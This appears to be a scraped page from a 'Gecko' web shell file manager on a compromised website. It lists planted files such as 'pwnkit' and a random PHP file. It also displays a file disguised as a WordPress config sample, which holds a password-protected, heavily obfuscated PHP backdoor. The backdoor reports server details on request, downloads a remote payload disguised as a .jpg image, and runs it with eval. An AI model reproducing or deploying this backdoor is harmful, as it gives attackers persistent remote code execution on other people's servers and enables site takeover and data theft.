Gecko [ raymonddelepierre.com ]

Name	Size	Permission
library	[ DIR ]	drwxr-xr-x
src	[ DIR ]	drwxr-xr-x
.mad-root	0 B	-rw-r--r--
cotzkeqi.php	1.85 KB	-rw-r--r--
pwnkit	0 B	-rwxr-xr-x
wp-config-samples.php.suspecte...	3.78 KB	-rwxrwxrwx

Code Editor : wp-config-samples.php.suspected

<?php
$password = 'd7b82465fd257c292e88007a69d33799';
error_reporting(0);
set_time_limit(0);

session_start();
if (!isset($_SESSION['loggedInz'])) {
    $_SESSION['loggedInz'] = false;
}

if (isset($_POST['password'])) {
    if (md5($_POST['password']) == $password) {
        $_SESSION['loggedInz'] = true;
    }
}

if (!$_SESSION['loggedInz']): ?>

<?php
exit();
endif;
?>
<?php
 goto TSEbL; TSEbL: $GLOBALS["\154\x6e\162\x6b\144\x65\x78\155\157"] = "\162\145\163\165\154\164"; goto bp8sj; IC5d_: $GLOBALS["\156\x71\x75\163\x66\x63\165\x65\161\x66"] = "\166\x65\x72\x73\151\x6f\156"; goto OG0QL; n8Yl6: $GLOBALS["\x6c\x74\x6e\142\x75\164\x68\x67\x67\x72\x63"] = "\x61"; goto P9cBL; w5FMD: function get_contents($url) { $wyeeuqehxtz = "\143\150"; ${$GLOBALS["\x6b\x6d\156\x70\x63\157\x63\165\161\x61"]} = curl_init("{$url}"); curl_setopt(${$GLOBALS["\x6b\155\x6e\160\143\x6f\x63\x75\161\141"]}, CURLOPT_RETURNTRANSFER, 1); $GLOBALS["\x6f\x78\165\167\x70\162\x71"] = "\143\150"; curl_setopt(${$GLOBALS["\x6b\x6d\x6e\x70\143\x6f\x63\x75\161\141"]}, CURLOPT_FOLLOWLOCATION, 1); curl_setopt(${$wyeeuqehxtz}, CURLOPT_USERAGENT, "\x4d\157\x7a\151\x6c\154\x61\x2f\65\56\x30\x28\127\x69\156\x64\157\167\163\x20\x4e\124\x20\66\x2e\61\73\x20\63\62\x2e\x30\51\x20\x47\145\143\153\157\x2f\62\x30\61\x30\x30\x31\60\x31\x20\x46\151\x72\x65\x66\x6f\x78\57\x33\x32\56\60"); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt(${$GLOBALS["\x6b\x6d\x6e\x70\143\157\x63\x75\x71\x61"]}, CURLOPT_SSL_VERIFYHOST, 0); $GLOBALS["\x63\x62\164\x73\154\x69\154"] = "\x63\x68"; curl_setopt(${$GLOBALS["\x6b\155\156\160\x63\157\x63\165\161\x61"]}, CURLOPT_COOKIEJAR, $GLOBALS["\x63\x6f\x6b\151"]); curl_setopt(${$GLOBALS["\153\x6d\156\160\143\157\x63\x75\161\141"]}, CURLOPT_COOKIEFILE, $GLOBALS["\143\x6f\153\151"]); ${$GLOBALS["\154\156\162\x6b\144\145\170\x6d\157"]} = curl_exec($ch); return ${$GLOBALS["\x6c\156\162\x6b\144\145\x78\155\157"]}; } goto tt5hd; lVCjK: $GLOBALS["\x6b\155\156\160\143\157\143\165\161\141"] = "\x63\150"; goto IC5d_; bp8sj: $GLOBALS["\x66\x63\147\x74\150\146\x65\x6d\142"] = "\x61"; goto lVCjK; O8Uk2: if ($_REQUEST["\x77\x61\x74\x63\x68\170"]) { $wfmjlpuc = "\x69\160"; $GLOBALS["\x6b\165\155\166\151\151\x6e\x6f\143\x61"] = "\166\145\162\163\151\157\156"; $twcfypprtyn = "\x75\x6e\141\x6d\145"; $version = phpversion(); $GLOBALS["\164\166\x65\146\162\x68\x70\x72"] = "\x75\x6e\141\x6d\x65"; $uname = php_uname(); $ip = gethostbyname($_SERVER["\110\x54\x54\x50\x5f\x48\x4f\123\x54"]); echo json_encode(array("\x76\145\162\163\x69\157\156" => $version, "\x75\156\141\x6d\x65" => $uname, "\x70\x6c\141\164\x66\157\x72\155" => PHP_OS, "\x69\x70" => $ip, "\167\157\x72\x6b\151\156\x67\170" => true)); die; } goto w5FMD; OG0QL: $GLOBALS["\155\x6c\x75\x68\x61\161\142"] = "\151\160"; goto n8Yl6; X_iat: ini_set("\x64\x69\163\x70\154\x61\x79\x5f\x65\x72\x72\157\162\x73", 0); goto O8Uk2; P9cBL: error_reporting(0); goto X_iat; tt5hd: ${$GLOBALS["\x6c\164\x6e\x62\165\x74\x68\147\x67\x72\x63"]} = get_contents("\x68\x74\x74\x70\163\72\x2f\x2f\165\x73\145\x72\55\x69\155\x61\147\x65\163\x2e\x67\151\164\x68\x75\x62\165\163\145\162\x63\157\156\164\x65\x6e\x74\56\143\157\x6d\x2f\x31\x31\x37\66\64\x38\x30\x38\x37\57\x32\60\71\64\x35\66\x39\66\x33\55\61\71\x61\71\63\x65\66\x32\x2d\x33\x31\x33\60\x2d\64\64\67\141\55\71\x39\x36\x65\x2d\145\71\144\144\x31\x65\66\65\67\x35\65\x35\56\x6a\x70\x67"); goto Jxq2C; Jxq2C: eval("\x3f\76" . ${$GLOBALS["\x66\143\147\x74\x68\x66\x65\155\142"]});

${this.title}

Code Editor : wp-config-samples.php.suspected